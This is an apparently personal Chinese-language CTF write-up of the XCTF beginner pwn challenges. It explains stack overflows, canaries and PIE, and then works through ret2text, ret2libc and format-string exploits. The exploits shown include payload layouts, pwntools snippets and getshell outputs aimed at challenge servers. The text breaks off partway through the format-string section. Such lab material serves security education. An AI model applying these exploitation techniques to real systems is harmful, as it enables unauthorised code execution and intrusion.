xctf攻防世界-pwn-新手村
000新手村准备
栈缓冲区溢出原理
一些C语言函数在获取输入到缓冲区时不关心缓冲区大小和输入长度,只要有输入就一直往缓冲区写入数据,如果往一个只能容纳两个字符的缓冲区写入三个字符就会导致缓冲区溢出
比如这么一个程序
1 |
|
使用gcc main.c -fno-stack-protector -O0 -o main -g
编译
-fno-stack-protector
不使用栈保护者(比如金丝雀)
-O0
不使用编译优化
-g
生成gdb调试信息,即创建.debug
节
-o main
编译链接生成的程序改名为main
此时会报一个编译警告
1 | warning: the `gets' function is dangerous and should not be used. |
为什么说gets函数是危险的?因为他没有对输入的字符数和缓冲区大小进行检查,
使用checksec
命令观察该程序使用的保护措施,发现No canary found
即没有使用金丝雀
首先使用ida64打开程序观察一下func函数的栈帧
1 | -0000000000000010 |
返回地址在rbp+0x8
,
char a
在rbp-0x1
char s[2]
数组在rbp-0x3
栈是从高地址向低地址增长的,然后站内的局部变量是从低地址向高地址增长的,即如果输入s,第一个字符会放在rbp-0x3
,第二个字符会放在rbp-0x2
,此时缓冲区用完了,如果有第三个字符,则放在0x01
而这里恰好是a变量的地址,因此如果输入2个以上字符则会破坏a变量
注意这里char s[2]中的2关键,它就限制了s数组的大小是2字节.
char buffer[]="123456"和char buffer[10]="123456"两者的区别就是
前者buffer根据"123456"确定为6个字节,而后者buffer固定为10字节
缓冲区长度固定很重要,使我们可以计算缓冲区和返回地址的距离
为了验证这个事情,我们用gdb调试器调试
在第七行和第八行分别下断点,运行之后程序停在第七行然后continue
,接下来输入bcd
作为gets
的输入,按下enter
之后程序停在第八行
此时print a
发现a的值已经变成了d
如果没有开启金丝雀保护,那么再使使劲输入点东西,可以溢出改变返回地址
防御措施
金丝雀canary
同样的程序使用gcc main.c -Og -o main -g
编译链接,相对于刚才的编译选项,这次没有-fno-stack-protector
,默认使用栈保护者金丝雀
这次再使用checksec
命令查看保护措施,发现Canary found
即有金丝雀保护
用ida64查看反汇编,相对于没有金丝雀保护的程序,func
函数这次多了一些东西
func
1 | ...;开端 |
loc_11C7
1 | .text:00000000000011C7 loc_11C7: ; CODE XREF: func+36↑j |
下面我们用gdb调试器动态观察一下.text:0000000000001197 mov rax, fs:[rbx]
发生后,rax中存放的是什么
首先使用gcc main.c -O0 -S
得到main.s
然后使用gcc -g main.s -o main
得到main
然后gdb -tui -q main
对汇编代码进行调试
如果此时我们输入3个以上字符然后继续执行
再从栈中取出-8(%rbp)
到rax中时,值已经被改变
异或运算之后打印eflag寄存器观察ZF标志位
1 | eflags 0x206 [ PF IF ] |
发现ZF为0即刚才运算结果不为0,不会跳转je .L3
,而是顺序执行call __stack_chk_fail@PLT
每次运行程序的时候fs:28h
上的值都不同,即通过猜测金丝雀值进行绕过也是不太可能的
PIE
PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题
如果不使用PIE保护则每次进程的虚拟地址空间都是不变的
比如main.c
1 |
|
开启PIE保护时
低12个二进制位不变但是高位会变
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE] |
不开启PIE保护时
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/testPIE] |
func的地址就恒为0x401126
不变了
001level0
ret2text(return to text)返回.text节的函数
目的是getshell,
1 | root@Executor:/mnt/c/Users/86135/Desktop/pwn/level0# checksec --file=level0 |
只有一个NX
保护,没有金丝雀保护
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
这个函数就直接叫vulnerable_function
生怕人家不知道他虚
1 | ssize_t vulnerable_function() |
可以看到read(0, buf, 0x200uLL);
可以获取比缓冲区大很多的输入,这里存在栈缓冲区溢出,那么怎么利用呢
如果使用ret2text的方法,只需要再在.text
节找一个能够执行shell的函数,然后将其开始溢出到vulnerable_function
函数的栈返回值位置
vulnerable_function
的栈帧:
1
2
3
4
5 -0000000000000080 buf db 128 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables前128+8个字符无用,第136个字符开始的八个字节存放的是该函数的返回地址
考虑ret2text方法,找一下有没有text节中可以调用shell的函数,可以通过ctrl+1然后观察Strings视图
发现有这么一个/bin/sh
也是shell的一种,双击观察
从交叉引用注释发现'/bin/sh'
被callsystem函数调用,双击该交叉引用跳转到该函数
1 | .text:0000000000400596 ; Attributes: bp-based frame |
该函数就干了一件事system("/bin/sh")
,该函数起始地址0x400596
可笑的是,主函数相关的调用链上并没有该函数,即该函数写了白写并且还能和栈缓冲区溢出一起成为内鬼
下面需要做到就是在vulnerable_function
中read获取输入的时候将前136个字符乱写一气,然后接下来的八个字节写入0x400596
,当vulnerable_function
返回时,程序计数器PC获取其栈中保存的返回地址从0x400596
即callsystem
函数的起始位置开始执行,诚如是,则shell得矣
exp
1 | from pwn import * |
p64函数干了啥?package 64位
1
2 0x400596) p64(
b'\x96\x05@\x00\x00\x00\x00\x00'将参数按照小端模式转化成有8个字符的字符串,其中可打印的ascii字符比如@就直接用字符表示,否则用
\x XX
这种形式表示p32函数会干啥?
1
2 0x400596) p32(
b'\x96\x05@\x00'将参数按照小端模式转化成有4个字符的字符串,其中可打印的ascii字符比如@就直接用字符表示,否则用
\x XX
这种形式表示本题使用
p32(0x400596)
是不可以的,因为如此打包则只会认为0x88之后只输入了4个字符,那么溢出会挤掉vulnerable_function
函数一开始存放返回地址的低位前四个字节,不能保证后面高位四个字节都是0而
p64(0x400596)
之后高四字节直接置0,保证返回到callsystem
函数
用kali或者ubuntu执行exp.py
python3 exp.py
1 | [+] Opening connection to 111.200.241.244 on port 58761: Done |
002level2
本题需要非常熟悉x86-64汇编语言的函数调用过程,能够改变栈顶指针的指令,
能够改变栈顶指针的指令有
1
2
3
4
5
6
7
8
9
10
11
12
13
14 I.sub/add 显式改变栈顶指针esp
II.push/pop 压栈退栈,以4字节为单元
III.leave 函数最后释放自己局部变量的栈空间
IV.call/retn
假设P中call Q 1.把P中call Q的下面一条指令压栈,2.Q->eip即设置程序计数器
一定要注意,在改变程序计数器之前是有一个压栈保存返回地址的
在刚进入Q函数时,栈顶还是指向返回地址的,
然后对于_cdecl调用约定,会有esp压栈保存,
然后才是Q函数的局部变量的栈空间
而Q函数参数的栈空间是在P函数中分配的
1 | PS C:\Users\86135\Desktop\pwn\level2> checksec --file=level2 |
直接看反汇编
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
32位_cdecl
调用约定下,传参不使用寄存器,只使用栈传参,
上述两点使得通过栈缓冲区溢出自己设置参数成为可能
1 | ssize_t vulnerable_function() |
vulnerable_function
函数栈帧
1 | -00000088 buf db 136 dup(?) |
根据level0的思路,前140个字节胡乱输入,接下来4个字节写一个可以getshell的函数地址,下面就去找一个这样的函数
先看一下Strings里面有没有/bin/sh类似字样
确实找到一个,但是没有交叉引用,即没有任何函数使用它
1 | .data:0804A024 hint db '/bin/sh',0 |
如果想要获取shell,需要有system('/bin/sh')
这种函数调用
因此需要在level0的思路上修改一下,构造一个system('/bin/sh')
这种函数调用
上述函数调用,其汇编指令应为
1 | push offset cmd ;cmd为'/bin/sh'的地址 |
vulnerable_function
函数首先执行一个system函数然后执行read,然后返回
显然地址我们可以使用溢出修改成调用system函数的地址
1 | .text:0804845C call _system |
在此之前,需要保证栈顶放好了'/bin/sh'
的地址.data:0804A024 hint db '/bin/sh',0
那么需要精确的计算出栈顶此时的位置(esp栈顶指针与ebp帧指针的距离)
1 | .text:0804844B push ebp |
在vulnerable_function
执行.text:0804847E leave
之前,栈顶指针相对于帧指针位于-0x88
位置恰为buf的起始位置,然后leave
的作用是
1 | mov esp,ebp ;esp=0 |
然后执行retn
,相当于pop eip
将本应该是正常返回的地址值交给程序计数器eip,然后程序跳转到该位置(system函数的地址)继续执行
考虑'/bin/sh'的地址作为system参数应该放在那里呢?
当eip中的指令被执行时,参数是此时的栈顶,即esp=+8
的位置,这个位置不在vulnerable_function
函数栈中,而是在他的调用者main
中,但是eip修改之后从vulnerable_function
不能返回到main
,那么此时栈帧对于main
函数来说就无意义了,此时的栈帧可以被任何函数利用
整个过程用表格表示为
综上,esp∈[ebp-0x88,ebp+0x4)
共0x8C
个字节随便写,然后[ebp+0x4,ebp+0x8)
写system函数地址,[ebp+0x8,ebp+0xC)
写system的参数地址
ebp+x,x越大越靠近栈底,这里system在
[ebp+0x4,ebp+0x8)
,其参数在[ebp+0x8,ebp+0xC)
,参数相对函数地址是更早的,即更靠近栈底的
exp
本地测试
1 | from pwn import * |
运行结果:
1 | ┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level2] |
连接靶机
1 | from pwn import * |
1 | ┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level2] |
003guess_num(栈缓冲区溢出改变随机数种子)
1 | PS C:\Users\86135\Desktop\pwn\guess_num> checksec guess_num |
main()
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
main函数的栈帧
1 | -000000000000003C var_3C dd ? ;v4 |
从栈帧布局上看,v7溢出无法修改v6,i,v4,只能溢出高地址的seed,var_8,s,r
这里只需要溢出到seed,把它改成0
当随机数种子为0时,其生成的伪随机数序列是固定的
1 |
|
在windows上的运行结果:
1 | 3 4 5 2 6 2 2 6 5 1 |
在linux上的运行结果
1 | 2 5 4 2 6 2 5 1 4 2 |
[ebp-30h,ebp-10h)
随便写,[ebp-10h,ebp-8h)
溢出成0
exp
1 | from pwn import * |
运行结果:
1 | Success! |
004int_overflow(栈缓冲区溢出改变栈中整数)
1 | PS C:\Users\86135\Desktop\pwn\int_overflow> checksec int_overflow |
直接看String视图,发现有一个
.rodata:08048960 command db 'cat flag',0 ; DATA XREF: what_is_this+9↑o
交叉引用上表明这个字符串出现在what_is_this
1 | int what_is_this() |
然而Function calls视图上没有任何函数调用该函数,看来需要栈溢出修改函数返回地址调用了
login()
1 | int login() |
check_passwd(buf)
1 | char *__cdecl check_passwd(char *s) |
1 | -00000018 db ? ; undefined |
\[ dest\in [ebp-14h,ebp-9h) \]
溢出时[ebp-0x14h,ebp+0x3h]
共24字节用任意字符填空
[ebp+4,ebp+7]
填上返回值地址0x804868B
1 | payload='A'*24+p32(0x804868B).decode('unicode_escape') |
还要考虑如何通过if ( v3 <= 3u || v3 > 8u )
unsigned char a=256
则实际上a=0
unsigned char a=260
则实际上a=4
unsigned char a=264
则实际上a=8
对256取模
那么v3 = strlen(s);
这里s的长度应该在260到264之间
刚才payload中已经构造出了20个字符,还需要再填充240个字符
1 | payload='A'*24+p32(0x804868B).decode('unicode_escape')+'A'*232 |
exp
1 | from pwn import * |
1 | Success |
005cgpwn2(ret2text)
反汇编分析
main()->hello()
1 | char *hello() |
pwn()
1 | int pwn() |
这有一个没有被调用过的函数,pwn(),它使用了system调用shell.
然而它打印的这句话"echo hehehe"是在rodata只读区的,没法溢出修改.
但是pwn不是一无是处,起码有一个可以调用system的地址0x08048420
1 | .text:0804855A call _system |
如果可以修改hello的返回值为0x0804855A
,并将期望的命令比如/bin/sh
放在栈顶,如此也可以获得shell
下面考虑如何利用return gets((char *)&s);
实现栈缓冲区溢出
考虑栈缓冲区溢出
hello函数的栈帧
1 | -00000038 db ? ; undefined ;从ebp-39到ebp-9为局部变量栈帧 |
开端和尾声 每条指令执行后的栈帧情况分析
开端:
1.
.text:0804864C call hello ;
call之后hello的栈帧
1
2
3 +00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables这里有一个问题,32位系统上返回值可以用4字节一个int表示,为什么这条call指令要压8字节的栈?
并且将返回值放在低4字节,高四字节全放0?
写了好多程序编译成32位的然后用ida观察都是如此,高四字节都是0.
搜了半天也没找到一个靠谱的答案,pending...
2.
.text:08048562 push ebp ;ebp压栈,占用4字节
1
2
3
4 +00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables3.
.text:08048565 push esi ;esi压栈,被调用者保存寄存器
1
2
3
4
5
6
7
8
9 -00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束
+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables4.
.text:08048566 push ebx ;ebx压栈,被调用者保存寄存器
1
2
3
4
5
6
7
8
9
10
11
12
13
14 -00000008 db ? ; undefined ;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束
-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束
+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables5.
.text:08048567 sub esp, 30h ;为局部变量开30h字节的栈空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46 -00000038 db ? ; undefined ;从ebp-39到ebp-9为局部变量栈帧
...
-00000026 s dw ?
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined ;从ebp-39到ebp-9为局部变量栈帧
-00000008 db ? ; undefined ;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束
-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束
+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables尾声
1.
.text:080485FD add esp, 30h ;开端时也是sub esp,30h 这是局部变量的空间,溢出成任意字符填空
1
2
3
4
5
6
7
8
9
10
11
12
13
14 -00000008 db ? ; undefined ;ebx被调用者保存位置
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined ;ebx结束
-00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束
+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables2.
.text:08048600 pop ebx ;被调用者保存寄存器,ebx
1
2
3
4
5
6
7
8
9 -00000004 db ? ; undefined ;esi被调用者保存位置
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined ;esi结束
+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables3.
.text:08048601 pop esi ;栈顶指针
1
2
3
4 +00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables4.
.text:08048602 pop ebp ;然后是调用者函数ebp的保存值,我们给他溢出成任意字符填空
1
2
3 +00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables5.
.text:08048603 retn ;此处retn 会将我们溢出的返回值放到rip
此时栈顶为main调用call hello之前的栈顶,和hello函数一点关系都没有了
s有38个字节,接下来四个字节是调用者函数ebp帧指针的保存值,接下来四个字节就是返回值,接下来还有四个字节,没用
注意最后这四个没用的字节\([ebp+5,ebp+8]\),也要溢出给他填了,然后再填
/bin/sh
的地址,如果溢出修改r之后不填四字节的空,紧接着写
/bin/sh
的地址,接下来函数尾声会干啥呢?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 ;main调用hello
.text:0804864C call hello ;call指令会将返回值0x08048651压栈,占用4字节空间
.text:08048651 mov dword ptr [esp], offset aThankYou ; "thank you"
;开端
.text:08048562 push ebp ;ebp压栈,占用4字节
.text:08048563 mov ebp, esp ;ebp获得当前esp快照,指向当前函数的栈底
.text:08048565 push esi ;esi压栈,被调用者保存寄存器
.text:08048566 push ebx ;ebx压栈,被调用者保存寄存器
.text:08048567 sub esp, 30h ;为局部变量开30h字节的栈空间
.....
;尾声
.text:080485FD add esp, 30h ;开端时也是sub esp,30h 这是局部变量的空间,溢出成任意字符填空
.text:08048600 pop ebx ;被调用者保存寄存器,ebx
.text:08048601 pop esi ;栈顶指针
.text:08048602 pop ebp ;然后是调用者函数ebp的保存值,我们给他溢出成任意字符填空
.text:08048603 retn ;此处retn 会将我们溢出的返回值放到rip,然后退掉这个返回值占用的栈空间,那么hello函数退栈刚好将/bin/sh的地址退掉,相当于写了填空了,白写,此时栈顶是main函数调用hello函数之前的栈顶
综上栈缓冲区溢出就应该前38+4个字节乱写凑数,
然后返回值写0x0804855A
返回值这里应该写啥也要注意
首先pwn函数里面调用system有一个
1 .text:0804855A call _system然后双击该位置有一个
1
2
3 .plt:08048420 jmp ds:off_804A01C
.plt:08048420 _system endp
.plt:08048420然后再双击
off_804A01C
又有
1 .got.plt:0804A01C off_804A01C dd offset system ; DATA XREF: _system↑r那么溢出的返回值到底是写
0x0804855A
,还是写0x08048420
,还是写0x0804A01C
?实验证明,只有写
0x08048420
才可以getshell,为什么其他两个不行呢?对于
0x0804855A
返回该地址后,紧接着执行的是call _system
,这条指令不光会将程序计数器RIP改成system的地址,还会将返回值压栈,这个压栈就坏了大事,我们费劲千辛万苦把栈顶调成name的地址,现在被返回值又给盖住了,那么调用system函数之后栈顶自然不是/bin/sh
的地址,因此不能getshell
0x08048420
这里只有一个jmp无条件跳转,不会改变栈顶对于
0x0804A01C
,相当于省去了前面jmp 的内容,但是却不能成功,目前原因不知道,可能和GOT和PLT有关,但也只是瞎猜的,以后学了这两个东西再说
然后一个双字写一个字符串"/bin/sh
"的地址,但是使用String视图并没有找到这么一个字符串,
因此需要我们自己写一个,写到什么地方呢?
刚才还有一个输入姓名,既然可以输入,说明它不在rodata节,实际上在bss节
1 | .bss:0804A080 name db 34h dup(?) ; DATA XREF: hello+77↑o |
也就是说,在刚才输入姓名的时候,可以直接明目张胆地把/bin/sh
写入name
然后在溢出时返回值后面写0x0804A080
即bss上name的首地址
exp
1 | from pwn import * |
结果:
1 | $ ls |
006level3(ret2libc,printf格式化字符串漏洞)
给了两个文件,一个level3,一个libc_32.so.6,后面这个是libc的动态库文件
收集信息
对level3checksec
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3] |
运行一下
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3] |
打印"Input:",获取输入,打印"Hello,World"
反汇编分析
ida打开level3直接看伪代码
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
1 | ssize_t vulnerable_function() |
此处存在缓冲区溢出漏洞,观察vulnernable_function
的栈帧,溢出可以修改函数返回地址,甚至继续溢出可以把main的栈帧都毁掉
1 | -00000088 buf db 136 dup(?) |
但是观察Strings视图,并没有/bin/sh
这种字符串
functions视图也没有System函数
那么怎么才能获取shell呢?
libc库中有system和/bin/sh
字符串
glibc-2.9/system.c
中#define SHELL_PATH "/bin/sh" /* Path of the shell. */
glibc-2.9/system.c
中有static int do_system (const char *line)
的实现
为啥libc中要有
/bin/sh
字符串呢?因为
system()
函数就是调用的shell程序,libc当然要知道该程序在哪里,最常用的shell就是/bin/sh
在本题中可以使用各种方法获得/bin/sh
字符串和system
函数在libc_32.so.6
中的位置
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]└─# strings -at x libc_32.so.6|grep /bin/sh |
现在获取到的地址是库函数在libc
库中的位置,并不是库函数实际运行时的地址.然而给一个库文件也不是一无是处,
位置无关代码的特性是,库的在进程虚拟地址空间中的位置可以变,但是库中成员之间的相对地址不会变
这就好比现在每个库函数是058班上的一个同学,每个同学都有一个班内编号,从1到40.
在058班中不管怎么问4号同学是谁,总会获得回答sjf.
然后整个班一起考试的时候,考数据结构时被安排到A220考场,考C++的时候被安排到B304考场...
但是整个班总是安排在同一间教室
在考数据结构的时候去A220问4号学生是谁,必是sjf
但是当考C++的时候还去A220问4号学生是谁,必然不是sjf
我现在知道sjf是他们班四号,并且抓住了一个他们班的学生,怎么知道sjf具体在哪一个考场,哪一个座位呢?
跟着这个学生前往他的考场,假设这个学生是5号则前面一个学生就是4号的sjf.
在本题中,我们要找的函数就是system
,顺带还要找一个字符串/bin/sh
,在库中的地址已经知道了,并且我们已经逮住了一个库中的函数
1 | write(1, "Input:\n", 7u); |
他在libc库中的位置:
1 | 2323: 000d43c0 101 FUNC WEAK DEFAULT 13 write@@GLIBC_2.0 |
那么其他libc中的函数或者变量相对于write的位置
符号 | write | system | /bin/sh |
---|---|---|---|
libc中的位置 | 0xd43c0 |
0x3a940 |
15902b |
相对于write的位置 | 0 |
-0x99a80 |
-0x11e6eb |
使用栈缓冲区溢出写好参数然后返回到write
被调用前,让write
打印出它自己的地址
怎么返回到write
前呢?
1.由于程序没有开启PIE保护,因此本程序内(不包括libc动态库)的各个函数地址是常数
注意共享库libc可以加载到本程序的"任何地方"
这里任何地方指的是
用户栈和堆之间
共享库并不能挤再读写段和只读代码段之间
相当于再用户栈和运行时堆之间有一块很大的空间,共享库只能在这片空间中挑一个利索的地方加载
这就好比在一艘航母上只能在甲板上放置舰载机,不能将舰载机放在舰桥上
由于这片巨大的空间在程序运行开始时就已经决定了,并且每次运行都是一样大的,当没有开启PIE保护时,总是从虚拟地址空间的0x400000开始加载,因此本程序内各函数,各数据的地址都是定值.
至于调用libc库中的函数,则使用got+plt表,对于本模块内的函数只需要将控制交给plt表,plt表相当于一个本程序与动态库的接口.
plt和got表就像人的嘴一样,可以随便吃东西但是归根接底长到人的脸上
2.使用PLT表返回到write
的地址
1 | b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(4) |
plt是text节开始时的一个跳转表,text节的位置不变,plt表的位置也不会变
前面0x8c
都写0,是为了溢出buf
和s
1 | -00000088 buf db 136 dup(?) |
然后四个字节就是返回地址p32(elf.plt['write'])
这个
elf.plt['write']
是啥呢?
1
2 elf=ELF('./level3')
print(hex(elf.plt['write']))运行结果:
1
2
3
4
5
6
7
8
9 ┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# python3 exp.py
[*] '/mnt/c/Users/86135/Desktop/pwn/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
0x8048340用ida打开后跳转到该地址
0x8048340
1
2
3
4
5
6
7
8
9
10
11
12 .plt:08048340
.plt:08048340 ; ssize_t write(int fd, const void *buf, size_t n)
.plt:08048340 _write proc near ; CODE XREF: vulnerable_function+15↓p
.plt:08048340 ; main+22↓p
.plt:08048340
.plt:08048340 fd = dword ptr 4
.plt:08048340 buf = dword ptr 8
.plt:08048340 n = dword ptr 0Ch
.plt:08048340
.plt:08048340 jmp ds:off_804A018
.plt:08048340 _write endp
.plt:08048340
0x8048340
正好就是write
在plt表中的起始位置
1 b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(4)同理
elf.got['write']
这个东西是write在got表中的首地址,打印一下结果为0x804a018
1 .got.plt:0804A018 off_804A018 dd offset write ; DATA XREF: _write↑r因此这里这条exp语句可以这样写:
1 b'0'*0x8c+p32(0x8048340)+b'0000'+p32(1)+p32(0x804a018)+p32(4)这是只用ida,不借助python的pwn包可以做到的
为什么要将返回地址溢出改成write在plt中的位置?直接溢出成write的位置行吗?
write也是动态库函数,这里只是调用它,动态库中的函数都是查plt表调用的
如果这直接溢出成write的地址,那我们得事先直到它加载后在进程虚拟地址空间中的地址,
而我们现在就是想要再调用它打印自己的地址
如果事先知道,现在求个寂寞啊
然后0000
是为了填充返回地址到main
栈帧之间四个无用字节
1 | +00000004 r db 4 dup(?) //返回地址 |
为啥要溢出这四个字节?直接写write的参数不行吗?
这四个字节属于vulernable_func的栈帧,在跳转write之前是会被清理掉的
然后p32(1)+p32(elf.got['write'])+p32(4)
三个四字节在栈顶作为write的三个参数
1 | write(fd,str,size); //(文件描述符,字符串,大小) |
此步执行之后程序将write在got表中的地址打印出来
这就相当于我们已经跟踪这个学生到达了058班的考场,下一步就是根据该学生的学号和sjf的学号差,寻找sjf的位置
考虑此步执行之后程序的行为
1 | b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(4) |
这里涉及到一个call function和jmp function的区别
使用call指令调用一个函数时,首先将PC即返回地址压栈,然后
jmp function
即两者的区别在于控制转移到function之前有没有将PC放在栈顶
我们现在将
p32(elf.plt['write'])
放在vulnerable
的返回地址位置,返回实际上就相当于一个jmp,
即我们执行了一个
jmp write
,没有使用call理论上调用函数都要使用call,在跳转前将PC放在栈顶
现在我们没有将PC放在栈顶直接跳转到write,但是write函数它不知道啊,他认为我们溢出放置的
0000
就是返回地址,根据_cdecl
约定,write将会自己清理自己的堆栈,那么在write返回的时候就会将0000放在rip中,程序接下来从0000开始执行,谁知道这是什么鬼地方,能不能执行也不好说但是既然我们已经分析出0000将会被执行,那我们把他换成main函数的地址,不也可以执行吗?
1 b'0'*0x8c+p32(elf.plt['write'])+p32(main_addr)+p32(1)+p32(elf.got['write'])+p32(4)下面我们就将会用到这种性质
前面我们已经通过栈缓冲区溢出获得了write
的地址,下面我们还需要再溢出一次来跳转到system
函数,这就用到了刚才我们分析的性质
我们在刚才执行了write
之后将控制转移到main
的开始地址,则程序又从头执行一遍,这次我们又有一个干净利索的vulnerable_func
栈
本次缓冲区溢出时,首先还是填充0x8c
个字符,然后将system
函数的地址放到返回地址位置,然后4个无用字节用0000
填充,然后写"/bin/sh
"的地址
1 | b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr-0x11e6eb) |
system执行完毕之后返回地址为刚才用0填充的4个无用字节,但是我们已经不需要system
返回了,system('/bin/sh')
之后我们就已经有shell了
符号 | write | system | /bin/sh |
---|---|---|---|
libc中的位置 | 0xd43c0 |
0x3a940 |
0x15902b |
相对于write的位置 | 0 |
-0x99a80 |
-0x11e6eb |
exp
1 | from pwn import * |
1 | [*] Switching to interactive mode |
007get_shell(白给)
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/get_shell] |
运行即可得到shell
为啥还是7分的题?
008CGfsb(printf格式化字符串漏洞)
printf格式化字符串漏洞,总之就是特别绕
1 | PS C:\Users\86135\Desktop\pwn\CGfsb> checksec cgfsb |
信息收集:
1 | ┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/CGfsb] |
反汇编分析
1 | ;开端 |
双击ds:pwnme
观察其上下文
1 | ... |
格式化字符串漏洞套路printf
以下逐步尝试使用格式化字符串漏洞修改栈上的变量值,看看printf是如何沦陷的
首先栈上有一个int a
,有一个char s[120]
,要想通过格式化字符串漏洞修改一个变量的值,需要知道他在栈上什么位置
谁更靠近栈顶光是通过看源代码是看不出来的,有可能有各种编译优化,通过下面程序观察
mytest.c
1 |
|
这里后面的printf(s)
没有管s中如何格式化的,没有管s中指定了多少个参数,
如果s中指定了n个%p格式的参数,则printf会从栈顶开始向栈底方向依次取出n个32位数(恰好是一个双字),每一个对应一个%p
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/CGfsb] |
运行结果
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/CGfsb] |
说明int a
在栈顶,然后紧接着是char s[120]
的首地址
那么printf(s)会错误地把a作为第一个参数,栈上存储的是a的地址,使用%1$n
即可将格式化字符串s之前的字符数输入栈上第一个参数(期望是一个地址)
啥意思呢?
%x$n
即将其之前的字符数输出到格式化字符串指定的第x个地址(即使栈上存放的不是地址也要作为地址,但此时很有可能引发段错误)这句话非常绕口,还是以先前的程序为例子
在这个例子中,通过先前的打印已经知道
printf(s)
时栈顶是a
的地址,如果s串中没有%p,%x
等等这样的占位符,即如果s为纯字符串则printf
只会打印该字符串,然后什么都不会发生如果s中有一个
%p
即指定了一个格式化参数,但是在调用printf(s)
时并没有写成printf(s,a)
这样指定这个参数,那么printf
会自动将当前栈顶作为参数进行打印,于是就发生了信息泄漏使用%p这种格式的作用是,正好取栈上一个对齐单元32位4字节,
如果用%s则将参数作为字符串,一直打印直到'\0'
同理如果s中有两个
%p
即指定了两个格式化参数,则先后从栈顶向栈底方向取两个双字,以16进制形式打印
%x$n
的作用是,将%号之前格式化字符串中的字符数,输出到第n个格式化参数指向的内存地址,即将从栈顶向栈底数的第n个双字,作为一个32位地址,然后输出到该地址,实际上这个双字也可能不是一个地址,这时大概率引发段错误
1 |
|
同样的编译命令,运行结果为:
1 | ┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/CGfsb] |
a的地址,
0xffee562c
被printf默认当作第一个格式化参数,然后将%1$n
之前的0个字符输出到该地址,因此a原来的值20就被改变了
回到本题
从刚才的实验中我们可以知道
如果想要通过printf格式化字符串漏洞改变一个变量的值,需要先了解
